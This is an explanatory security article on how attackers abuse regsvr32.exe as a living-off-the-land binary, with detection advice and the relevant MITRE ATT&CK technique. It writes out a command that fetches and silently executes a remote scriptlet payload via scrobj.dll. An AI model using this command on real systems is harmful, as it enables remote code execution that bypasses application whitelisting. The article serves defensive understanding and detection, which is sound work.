LOLBins (Living-off-the-Land Binaries) are legitimate Windows tools abused to run malicious code. regsvr32.exe normally registers COM plugins. It also accepts a URL and can fetch + execute a COM scriptlet directly from the internet — no file written to disk, no PowerShell, bypasses most application whitelisting. The command regsvr32 /s /n /u /i:[URL] scrobj.dll runs silently in the background.
regsvr32.exe is a legitimate Windows utility for registering and unregistering COM components (DLLs and OCX files). It's signed by Microsoft and present on every Windows installation.
When you run regsvr32 something.dll, it:
DllRegisterServer() exported functionThe problem: attackers can make DllRegisterServer() do anything.
OCX files are just DLLs with a COM interface. An attacker creates an OCX that:
DllRegisterServer() as required/i flag can fetch remote scriptletsThe most notorious abuse uses scrobj.dll (Windows Script Component runtime):
regsvr32 /s /n /u /i:http://[remote]/payload.sct scrobj.dll
This downloads and executes a remote SCT (scriptlet) file containing JScript or VBScript. The /s flag suppresses dialogs, /n skips calling DllRegisterServer on scrobj.dll, and /i passes the URL to DllInstall.
Result: Remote code execution via a signed Microsoft binary, no files written to disk.
A malicious OCX can be structured to:
DllRegisterServer() when registeredFrom the outside, it looks like normal software installation.
Command line monitoring: regsvr32 with /i: flag containing URLs or network paths. Any /i:http or /i:\\ is highly suspicious.
Unusual locations: OCX/DLL files being registered from user directories (Downloads, Desktop, Temp). Legitimate registrations come from Program Files or System32.
Registry monitoring: DllRegisterServer writing to Run keys or other persistence locations instead of COM class registrations.
Network connections: regsvr32.exe making outbound network connections is almost always malicious.
regsvr32 is one of many "Living Off the Land Binaries" (LOLBins). Others include:
mshta.exe - HTML Application hostcertutil.exe - Certificate utility (can download files)rundll32.exe - DLL entry point callermsiexec.exe - MSI installerThe common thread: legitimate signed binaries that can be abused for code execution.
MITRE ATT&CK: T1218.010 (System Binary Proxy Execution: Regsvr32)